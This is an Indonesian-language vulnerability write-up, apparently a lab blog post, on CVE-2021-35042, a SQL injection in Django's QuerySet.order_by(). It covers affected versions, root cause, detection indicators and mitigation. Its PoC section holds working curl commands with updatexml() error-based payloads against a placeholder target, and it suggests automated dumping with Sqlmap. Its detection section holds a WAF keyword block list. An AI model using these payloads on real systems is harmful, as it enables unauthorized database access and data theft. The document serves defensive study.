August 12, 2026
CVE-2021–35042 : Django QuerySet.order_by() SQL Injection
1. Ringkasan Eksekutif
By Arya Utomo
5 min read
1. Ringkasan Eksekutif
CVE-2021–35042 adalah kerentanan SQL Injection pada framework Django yang terjadi ketika input dari user diteruskan tanpa sanitasi ke fungsi QuerySet.order_by(). Kerentanan ini memungkinkan penyerang mengeksekusi query SQL arbitrer terhadap database backend, tanpa memerlukan autentikasi maupun interaksi user. Root cause-nya adalah regresi validasi kolom yang muncul sebagai efek samping dari perbaikan bug lain di jalur kode yang saat itu berstatus deprecated.
Dampak yang mungkin timbul:
- Pengungkapan informasi sensitif dari database (nama database, struktur tabel, isi data)
- Manipulasi atau modifikasi data tanpa otorisasi
- Potensi eskalasi lebih lanjut tergantung konfigurasi database dan hak akses user database yang dipakai aplikasi
- Kompromi penuh terhadap confidentiality, integrity, dan availability aplikasi (berdasarkan CVSS vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
2. Cakupan dan Prasyarat Kerentanan
Fungsi yang terdampak:
- Hanya
QuerySet.order_by()bukan fungsi ORM Django lainnya sepertifilter(),exclude(), atauannotate() - Celah muncul spesifik di jalur kode deprecated yang melewati validasi referensi kolom yang seharusnya ketat
Versi Django yang terdampak:
- Django 3.0.x dan 3.1.x — semua versi sebelum 3.1.13
- Django 3.2.x — semua versi sebelum 3.2.5
Versi Django yang aman (sudah dipatch):
- Django 3.1.13 ke atas
- Django 3.2.5 ke atas
- Django 4.x dan seterusnya (jalur kode deprecated sudah dihapus total)
Prasyarat agar aplikasi dapat dieksploitasi:
- Aplikasi meneruskan input dari user (misalnya parameter query string
?order=) langsung keorder_by()tanpa whitelist/validasi kolom - Untuk teknik error-based extraction (
updatexml()), pengaturanDEBUG = Trueharus aktif disettings.pyagar pesan error MySQL ditampilkan ke response - Database backend menggunakan MySQL untuk teknik
updatexml()/extractvalue()spesifik; teknik injeksi lain (union-based, blind time-based) berpotensi berlaku lintas backend database tergantung sintaks yang didukung
3. Root Cause
Penjelasan teknis:
- Django ORM normalnya melakukan validasi ketat terhadap nama kolom yang dipakai untuk sorting, memastikan hanya field yang benar-benar ada di model yang diterima
- Perbaikan bug lain yang dilakukan tim Django menimbulkan efek samping regresi pada jalur kode yang ditandai deprecated
- Di jalur deprecated tersebut, validasi kolom bisa dilewati (bypass) apabila input berasal langsung dari user tanpa sanitasi tambahan dari sisi aplikasi
- Akibatnya, string yang dikirim melalui parameter
orderdapat langsung masuk ke klausa SQL mentah tanpa filtering
Contoh pola kode yang rentan (representasi umum, bukan source code asli Django):
- Aplikasi mengambil parameter dari request:
order = request.GET.get('order', 'name') - Nilai tersebut dipakai langsung membentuk query SQL, misalnya di dalam struktur
ORDER BY (CASE WHEN (1=1) THEN {order} ELSE name END) - Karena kondisi
1=1selalu benar, cabangTHENyang berisi input user selalu tereksekusi tanpa validasi
4. PoC (Proof of Concept)
Tahap 1 — Fingerprinting Django
Tujuan: memastikan target menjalankan Django sebelum melakukan pengujian lebih lanjut.
Cek header response:
curl -I "http://TARGET_IP:8000/PATH/"curl -I "http://TARGET_IP:8000/PATH/"Indikator yang perlu diperiksa:
- Header
ServerberformatWSGIServer/0.2 CPython/X.X.X - Cookie bernama
csrftoken - Header
X-Frame-Options: DENY - Header
X-Content-Type-Options: nosniff - Header
Referrer-Policy: same-origin - Kombinasi tiga header keamanan di atas muncul bersamaan mengindikasikan
SecurityMiddlewarebawaan Django, yang tidak diterapkan default oleh framework lain - Field hidden
csrfmiddlewaretokenpada form HTML mana pun ini indikator paling reliable karenaCsrfViewMiddlewaremenyisipkannya otomatis ke setiap form POST
Tahap 2 — Identifikasi Titik Injeksi
- Telusuri halaman aplikasi yang memiliki fitur sorting/pengurutan data (contoh: katalog produk, daftar artikel, tabel data)
- Perhatikan parameter query string yang tampak mengontrol kolom pengurutan, contoh:
?order=,?sort=,?order_by= - Cek apakah parameter tersebut terlihat pada form HTML sebagai hidden input atau dapat dimodifikasi langsung lewat URL
Tahap 3 — Verifikasi Injeksi (Ekstraksi Versi Database)
Payload untuk konfirmasi awal, memanfaatkan teknik error-based injection via updatexml():
curl -s "http://TARGET_IP:8000/PATH/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)"curl -s "http://TARGET_IP:8000/PATH/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)"Ekstrak hasil dari response menggunakan pattern matching:
curl -s "http://TARGET_IP:8000/PATH/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '~[0-9][^&]*'curl -s "http://TARGET_IP:8000/PATH/?order=updatexml(1,concat(0x7e,(select%20@@version)),1)" | grep -o '~[0-9][^&]*'Penjelasan payload:
updatexml(1, xpath_expr, 1)akan menghasilkan error apabila argumen kedua bukan XPath yang validconcat(0x7e, (select @@version))menggabungkan karakter delimiter ~ (hex0x7e) dengan hasil query yang ingin diekstrak- String hasil gabungan tersebut bukan format XPath valid, sehingga MySQL melempar error yang menyertakan isi string tersebut
- Karena
DEBUG = True, Django menampilkan pesan error mentah dari MySQL pada response HTTP 500, sehingga hasil query bisa dibaca langsung dari body response - Prefix ~ dipakai sebagai penanda untuk memudahkan ekstraksi hasil menggunakan regex, karena karakter ini jarang muncul secara alami pada pesan error MySQL
Informasi tambahan yang turut terungkap pada response error yang sama:
- Versi Django aplikasi (contoh:
Django Version: 3.2.4), berguna untuk konfirmasi tambahan bahwa versi tersebut berada dalam rentang yang rentan
Tahap 4 — Enumerasi Lanjutan
Ekstraksi nama database aktif:
curl -s "http://TARGET_IP:8000/PATH/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '~[0-9a-zA-Z_][^&]*'curl -s "http://TARGET_IP:8000/PATH/?order=updatexml(1,concat(0x7e,(select%20database())),1)" | grep -o '~[0-9a-zA-Z_][^&]*'Langkah lanjutan yang dapat dilakukan setelah konfirmasi celah:
- Enumerasi nama tabel dan kolom pada database menggunakan subquery terhadap
information_schema - Ekstraksi isi data sensitif (kredensial user, data pelanggan, konfigurasi aplikasi)
- Serahkan parameter dan endpoint yang sudah teridentifikasi rentan kepada Sqlmap untuk otomasi dump database secara menyeluruh, dengan opsi yang menyesuaikan teknik error-based yang sudah dikonfirmasi berhasil
Fallback Apabila DEBUG = False
- Teknik error-based di atas hanya berfungsi ketika
DEBUG = True; pada environment production denganDEBUG = False, response error akan digeneralisasi tanpa detail - Gunakan teknik blind time-based injection sebagai alternatif, memanfaatkan fungsi
SLEEP()untuk mengekstrak data berdasarkan selisih waktu response, karakter demi karakter
5. Indicator of Compromise (IOC)
Pola pada Access Log
Hal yang perlu diperiksa pada log akses web server/aplikasi:
- Parameter query string yang mengandung fungsi SQL seperti
updatexml,extractvalue,sleep(,benchmark(,union select,information_schema - Parameter sorting (
order,sort,order_by, dan variasi penamaan serupa) yang berisi karakter tidak wajar seperti tanda kurung, koma berlebihan, atau kata kunci SQL - Lonjakan permintaan berulang ke endpoint yang sama dengan variasi payload kecil pada parameter yang sama, mengindikasikan proses enumerasi manual atau otomatis (misalnya pola khas dari Sqlmap)
- Response HTTP 500 yang terjadi berulang kali dari sumber IP yang sama, terutama jika diikuti oleh permintaan susulan dengan payload yang sedikit dimodifikasi
Pola pada Response/Error
- Pesan error MySQL yang bocor ke response body pada aplikasi production merupakan indikasi konfigurasi
DEBUG = Trueyang tidak seharusnya aktif — ini sendiri adalah temuan misconfiguration kritikal terlepas dari ada tidaknya eksploitasi aktif - Munculnya string dengan pola delimiter tidak wajar (seperti karakter ~ diikuti data terstruktur) pada response error mengindikasikan kemungkinan percobaan error-based SQL injection
Rekomendasi Query/Rule untuk SIEM atau WAF
Contoh pola deteksi berbasis kata kunci pada parameter request (disesuaikan dengan platform yang dipakai):
- Blokir atau beri alert pada request yang parameternya mengandung kombinasi
updatexml,extractvalue,sleep(,benchmark(,union,select,information_schema, terutama pada parameter yang berfungsi untuk sorting/filtering - Terapkan rate limiting pada endpoint yang menerima parameter sorting, untuk memperlambat proses enumerasi otomatis
- Audit log aplikasi untuk request dengan response time yang jauh lebih lama dari baseline normal pada endpoint sorting, sebagai indikasi kemungkinan blind time-based injection
Indikator Pasca Eksploitasi
Jika kerentanan sudah berhasil dieksploitasi, periksa indikasi berikut:
- Query database yang tidak lazim pada log database server (jika database logging diaktifkan), khususnya query dengan struktur
CASE WHENyang tidak sesuai pola aplikasi normal - Akses ke tabel yang seharusnya tidak relevan dengan fungsi endpoint yang diakses (misalnya endpoint katalog produk yang tiba-tiba mengakses tabel user/kredensial)
- Volume data keluar (egress) yang tidak wajar dari server aplikasi, terutama jika berdekatan waktu dengan pola request mencurigakan di atas
6. Rekomendasi Mitigasi
- Upgrade Django ke versi 3.1.13, 3.2.5, atau versi yang lebih baru sesuai branch yang dipakai
- Nonaktifkan
DEBUG = Truepada seluruh environment production; pastikan pesan error detail tidak pernah ditampilkan ke end user - Audit seluruh endpoint yang menerima parameter sorting/filtering dari user untuk memastikan tidak ada string mentah yang diteruskan langsung ke
order_by()
7. Catatan Tambahan
- Kerentanan ini merupakan hasil regresi yang muncul sebagai efek samping perbaikan bug lain, ditemukan dan dilaporkan oleh tim Django sendiri melalui proses disclosure terkoordinasi, kemudian dipatch dan dipublikasikan bersamaan pada 1 Juli 2021
- Dokumen ini disusun berdasarkan pengujian pada environment lab terkontrol dan ditujukan untuk keperluan dokumentasi internal, bukan untuk digunakan pada sistem yang tidak memiliki otorisasi pengujian eksplisit
- Teknik error-based yang dijabarkan di atas spesifik untuk backend MySQL; penyesuaian sintaks diperlukan apabila target menggunakan PostgreSQL, SQLite, atau backend lain
8. Referensi
- CVE-2021–35042 — NVD (National Vulnerability Database)
- CWE-89 — Improper Neutralization of Special Elements used in an SQL Command
- Django Security Releases, 1 Juli 2021 — django project official weblog
- GitHub Advisory Database — GHSA-xpfp-f569-q3p2
- https://tryhackme.com/room/modernwebstacks